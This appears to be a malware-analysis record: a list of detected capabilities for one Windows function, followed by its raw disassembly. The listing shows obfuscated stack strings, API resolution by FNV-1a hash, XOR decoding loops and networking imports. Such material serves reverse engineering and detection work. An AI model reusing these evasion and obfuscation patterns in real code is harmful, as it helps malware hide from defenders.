Function at 0x14010425c
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate gui resources
Enumerate process modules
Get number of processors
Hash data using fnv
Parse pe header
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x34c8]
mov eax, 0x35a0
call fcn.14020f9c0
sub rsp, rax
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rbp + 0x3490], rax
mov byte [rbp + 0x670], 0xe3
mov byte [rbp + 0x671], 0xeb
mov byte [rbp + 0x672], Ordinal_211
mov byte [rbp + 0x673], Ordinal_217
mov byte [rbp + 0x674], 0xb7
mov byte [rbp + 0x675], Ordinal_200
mov byte [rbp + 0x676], 0x48
mov byte [rbp + 0x677], 0x48
mov byte [rbp + 0x678], Ordinal_50
mov byte [rbp + 0x679], Ordinal_27
mov r12d, 0x3f
mov byte [rbp + 0x67a], r12b
mov byte [rbp + 0x67b], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x67c], Ordinal_50
mov byte [rbp + 0x67d], Ordinal_79
mov byte [rbp + 0x67e], Ordinal_79
mov byte [rbp + 0x67f], 0x43
mov byte [rbp + 0x680], Ordinal_60
mov byte [rbp + 0x681], Ordinal_32
mov byte [rbp + 0x682], Ordinal_79
mov byte [rbp + 0x683], Ordinal_79
mov byte [rbp + 0x684], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x685], Ordinal_60
mov byte [rbp + 0x686], 0x5a
mov byte [rbp + 0x687], Ordinal_41
mov byte [rbp + 0x688], reloc.WLDAP32.dll_Ordinal_32
lea r14d, [r12 - 0x37]
mov byte [rbp + 0x689], r14b
mov byte [rbp + 0x68a], 0x5e
mov byte [rbp + 0x68b], Ordinal_46
mov byte [rbp + 0x68c], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x68d], 0x5f
mov byte [rbp + 0x68e], Ordinal_50
mov byte [rbp + 0x68f], Ordinal_32
mov byte [rbp + 0x690], Ordinal_35
mov byte [rbp + 0x691], Ordinal_41
mov byte [rbp + 0x692], 0x58
mov byte [rbp + 0x693], 0xcb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x694], xmm0
mov qword [rbp + 0x6a4], rax
mov byte [rbp + 0x6ac], al
movabs rsi, 0x27bf095894239efa
lea r13d, [r12 - 0x21]
or r15, 0xffffffffffffffff
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x3d
jae 0x140104e21
movzx r8d, byte [rbp + r9 + 0x670]
mov r11d, r8d
cmp rbx, r9
ja 0x140104e18
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140104426
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
add dil, 0x2a
jmp 0x140104453
je 0x140104d8f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140104d3d
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140104d09
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140104cdf
cmp r10, r9
ja 0x140104e0f
lea rax, [r10 + 0x40]
cmp rbx, rax
jae 0x140104489
movabs rdx, 0x42abc44426ec0a82
add rdx, r9
mov al, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x1401044ca
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140104c94
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140104c70
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140104c46
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140104c32
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140104bda
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140104958
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140104931
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14010490d
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401048ec
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401048c8
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401048a4
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140104880
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401044d7
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140104dea
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140104dc6
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14010463c
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140104619
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x1401047e3
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140104793
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140104764
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401044d7
lea rbx, [r10 + 0x2a]
lea r10, [rbx + 9]
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140104740
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140104719
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401046f5
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401046ce
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401046ab
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140104686
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140104663
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 3]
jmp 0x1401044d7
movabs rcx, 0x94ba13186f5751be
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1401044ca
movabs rdx, 0xf5bdedb61ec8d5d6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x1401043fa
movabs rcx, 0x155e222137605410
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140104cb4
movabs rdx, 0xc5e00f700f19161c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r13d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140104cda
movabs rcx, 0x26e3ea0dbe8a9a34
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x140104b7e
movabs rdx, 0xd765d75c96435c40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140104c68
movabs rcx, 0x87e7c4ab6dfc1e4c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x140104d2b
movabs rdx, 0xe8eb9f491d6da264
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140104d5b
movabs rcx, 0x996d8c97f5266470
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140104daf
movabs rdx, 0xd2b25ddd1074498e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x670], dil
jmp 0x140104dbe
movabs rdx, 0x83344b2be82d0b9a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x36
add dil, dl
cmp r10, 0x400
jb 0x140104786
movabs rcx, 0xd61db94b0631579c
add rcx, r9
mov al, cl
and al, r8b
mov edx, r13d
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140104cb4
movabs rdx, 0xe43825c9979e8fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r10 + rbx]
cmp rax, 4
je 0x140104bae
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x140104a5f
movabs rdx, 0x78853a1b4c7ce192
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x5a
jae 0x140104b56
lea rax, [r10 + 8]
cmp rbx, rax
jbe 0x140104abf
movabs rdx, 0xbb30fe5f7368ec14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401047b4
movabs rcx, 0x90069998e9883f0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x140104daf
movabs rdx, 0xf10a743698f9c324
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140104bf8
movabs rcx, 0xa18c618570b28530
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x50
jmp 0x140104d2b
movabs rdx, 0x2903c2320240948
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140104b78
movabs rcx, 0xb3122971f7dccb54
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4c
jmp 0x140104d01
movabs rdx, 0x1416040fa74e4f6c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140104cb4
lea rax, [r10 + 0x2a]
cmp rbx, rax
jae 0x14010497f
lea rdx, [r9 + rsi]
mov al, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140104805
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401049ab
movabs rcx, 0x855788884dd81504
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140104daf
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401049d7
movabs rcx, 0x2453adea9e6690ec
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x74
jmp 0x140104bfb
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140104a03
movabs rcx, 0x12cde5fe173c4ac8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140104b7e
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140104a2f
movabs rcx, 0x624bf8af3f8388bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x140104d01
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140104805
movabs rcx, 0x1481e11901204a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x140104cb4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140104a8f
movabs rdx, 0xc8034ccc74c41f86
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140104cb4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140104842
movabs rcx, 0x66ff722ec5529b6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
jmp 0x140104d01
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140104aeb
movabs rcx, 0xaaf11109bb02a08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140104daf
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140104b08
movabs rdx, 0x5a2d23c1c3f767fc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140104728
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140104b35
movabs rcx, 0xe7a381378d5b9dc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x140104d01
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401047b4
movabs rdx, 0x869fa699ddea19a8
mov ecx, 0x34
jmp 0x140104a77
movabs rdx, 0x259bcbfc2e789590
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x670]
add dil, dl
add dil, r8b
movabs rcx, 0x4d5ad554c29c348a
add rcx, r9
mov al, cl
and al, r8b
mov edx, Ordinal_32
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dil
mov byte [rbp + r9 + 0x670], dl
jmp 0x140104c68
movabs rdx, 0x7519dead56bfd384
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x670]
add dil, dl
add dil, r8b
jmp 0x140104bfb
movabs rdx, 0x6f1e471c40debc2e
add rdx, r9
mov al, r11b
and al, dl
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x42
add dil, dl
movabs rdx, 0x9cd8e805eae3727e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x72
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x670], al
inc r10
add rax, r10
sub r9, rax
jmp 0x140104d5b
movabs rdx, 0x1fa0346b18977e3a
mov ecx, gethostname
jmp 0x140104d18
movabs rdx, 0xd02221b9f0504046
add rdx, r9
mov al, r11b
and al, dl
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r10
jmp 0x140104d2b
movabs rdx, 0x3125fc579fc1c45e
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x140104d01
movabs rcx, 0x9229d6f54f334876
add rcx, r9
and r11b, cl
add r11b, r11b
mov dil, r8b
sub dil, r11b
sub dil, 0x3a
add dil, cl
movabs rcx, 0xfddcc2a39a54f696
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1a
add r8b, cl
mov byte [rbp + r9 + 0x670], r8b
inc r10
jmp 0x140104d01
movabs rdx, 0x54318c30ae1650a6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r9
jmp 0x140104dbe
movabs rdx, 0x65b7541d354096ca
mov ecx, 0x3d
add rdx, r9
mov al, r11b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, dil
mov rcx, r15
sub rcx, rax
add r9, rcx
jmp 0x140104dbe
movabs rcx, 0xc6bb2ebae4b21ae2
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
movabs rcx, 0xc497f15e7f071178
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r9 + 0x670], r8b
inc rbx
mov rax, r15
sub rax, rbx
add r9, rax
jmp 0x140104daf
movabs rdx, 0x773d1c09bc6adcee
add rdx, r9
mov al, r11b
and al, dl
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0x670]
add rax, r10
add r9, rax
inc r9
jmp 0x1401043e4
movabs rcx, 0xa63fdb04f68197e2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2e
jmp 0x1401043e1
movabs rdx, 0x56c1c853ce3a59ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401043d1
lea rdx, [rbp + 0x16ed668]
jmp 0x140104e28
lea rdx, [rbp + 0xd27562]
jmp 0x140104e28
lea rdx, [rbp + 0x670]
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
and qword [rbp + 0x50], 0
and qword [rbp + 0x58], 0
mov r8, r15
inc r8
cmp byte [rdx + r8], 0
jne 0x140104e3c
lea rcx, [rbp + 0x40]
call fcn.14007aa80
lea rax, [rbp + 0x40]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.1400c9c14
nop
lea rcx, [rbp + 0x60]
call fcn.1401aa298
mov bl, al
lea rcx, [rbp + 0x60]
call fcn.140091e30
movabs rsi, 0x650c9aba69d21100
movabs r14, 0x3b16ce24793c580
movabs r12, 0x5da9c0f5daaa8600
movabs r15, 0xe3cab7caa09e1080
mov r13d, 0xcded1a85
test bl, bl
je 0x140107e76
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xe40]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x80], 0x45
mov byte [rbp + 0x81], 0x75
mov byte [rbp + 0x82], WSASetLastError
mov byte [rbp + 0x83], 0x66
mov byte [rbp + 0x84], 0x76
mov byte [rbp + 0x85], 0x64
mov byte [rbp + 0x86], Ordinal_46
mov byte [rbp + 0x87], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x88], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x89], 0x7d
mov byte [rbp + 0x8a], 0xa
xor eax, eax
mov dword [rbp + 0x8b], eax
mov word [rbp + 0x8f], ax
mov byte [rbp + 0x91], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x12
jae 0x140105966
movzx r8d, byte [rbp + r9 + 0x80]
mov r11, r8
cmp rdi, r9
ja 0x14010595d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140104f81
lea rcx, [r9 + r14]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
jmp 0x14010521a
je 0x1401058e4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140105860
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140105804
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401057b8
cmp r10, r9
ja 0x140105954
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x140104fd2
movabs rcx, 0x4d8dee8fdf1f3380
jmp 0x1401051e8
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401057ac
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010578c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010576a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140105747
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010572d
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010571e
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140105425
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140105416
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401053f6
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x1401053d6
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401053c7
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401053b8
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140105398
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140105389
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140105369
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x14010535a
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010502d
lea rdi, [r10 + 0x61]
lea r10, [rdi + 9]
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14010593b
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140105919
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140105222
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140105200
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401051de
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140105348
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140105339
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140105318
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401052ed
lea rdi, [r10 + 8]
lea r10, [rdi + 0x400]
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401052ce
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1401052bf
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401052a1
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140105292
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140105283
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x140105265
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14010525c
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140105253
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140105244
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14010502d
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x61]
jmp 0x14010502d
movabs rcx, 0x1561edcdd3c3c80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140105020
movabs rcx, 0xf9f345184e14b180
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140104fae
movabs rcx, 0xf2906b53beed2680
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140104f53
movabs rdx, 0x6c6f747ef8f99c00
jmp 0x1401055b2
lea rcx, [r9 + rsi]
jmp 0x140105403
lea rcx, [r9 + r12]
jmp 0x1401053e3
movabs rdx, 0x5646e7314b82fb00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x140105820
movabs rcx, 0x4ee40d6cbc5b7000
jmp 0x140105536
movabs rcx, 0x478133a82d33e500
jmp 0x1401053a2
movabs rdx, 0x401e59e39e0c5a00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x14010587f
movabs rdx, 0x38bb801f0ee4cf00
jmp 0x140105373
movabs rcx, 0x3158a65a7fbd4400
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140105902
movabs rcx, 0x1ee185ef19da6880
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
mov byte [rbp + r9 + 0x80], bl
jmp 0x140105911
movabs rdx, 0x177eac2a8ab2dd80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
jmp 0x1401054b3
movabs rdx, 0x101bd265fb8b5280
jmp 0x14010546c
movabs rdx, 0x8b8f8a16c63c780
add rdx, r9
jmp 0x140105436
movabs rcx, 0xd153975f3abb3500
jmp 0x1401054f5
movabs rdx, 0xc9f0bd9aab93aa00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x1401058b3
movabs rdx, 0xc28de3d61c6c1f00
jmp 0x1401052ab
movabs rcx, 0xbb2b0a118d449400
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010584e
movabs rcx, 0xb3c8304cfe1d0900
jmp 0x140105536
movabs rdx, 0xac6556886ef57e00
jmp 0x14010526f
movabs rcx, 0xa5027cc3dfcdf300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x1401057fc
movabs rcx, 0x9d9fa2ff50a66800
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x1401057f9
movabs rdx, 0x963cc93ac17edd00
jmp 0x1401055b2
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401054e2
lea rdx, [r9 + r14]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0xa
je 0x1401056f8
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x1401055c8
movabs rdx, 0xe146f1eb0e360f80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
add bl, dl
cmp rdi, 0x1000
jae 0x1401056d2
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x14010565d
movabs rdx, 0x2ed4e07aed554300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
cmp r10, 0x7a
jb 0x14010530b
movabs rdx, 0x78b1622884e0b100
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401057d5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010550b
movabs rcx, 0x9b1bdd1fbe3e6700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105902
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140105523
movabs rdx, 0xa9e190a8dc8d7d00
jmp 0x1401052ab
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010554b
movabs rcx, 0xb8a74431fadc9300
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010584b
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140105573
movabs rcx, 0xc00a1df68a041e00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140105822
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010559b
movabs rcx, 0xc76cf7bb192ba900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x1401057fc
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140105447
movabs rdx, 0xd632ab44377abf00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x1401057d5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401055ef
movabs rdx, 0xe8a9cbaf9d5d9a80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
jmp 0x1401055c1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140105607
movabs rcx, 0xf76f7f38bbacb080
jmp 0x140105796
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140105630
movabs rcx, 0x63532c1d9fbc680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105784
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140105480
movabs rcx, 0x23c099d41699f280
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x1401058ff
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140105675
movabs rcx, 0x3637ba3f7c7cce00
jmp 0x1401054f5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010568d
movabs rdx, 0x3d9a94040ba45900
jmp 0x140105373
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401056a5
movabs rcx, 0x4c60478d29f36f00
jmp 0x1401053a2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401054b5
movabs rcx, 0x53c32151b91afa00
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010584b
movabs rdx, 0x80143bed14083c00
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x80]
sub bl, al
add bl, r8b
jmp 0x140105820
movabs rdx, 0x877715b1a32fc700
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x80]
jmp 0x14010587f
movabs rcx, 0x90079678e7831680
jmp 0x140105647
movabs rdx, 0x8141e2efc9340080
add rdx, r9
mov al, r8b
and al, dl
mov bl, r8b
jmp 0x140105878
movabs rcx, 0x79df092b3a0c7580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x14010584e
movabs rcx, 0x727c2f66aae4ea80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
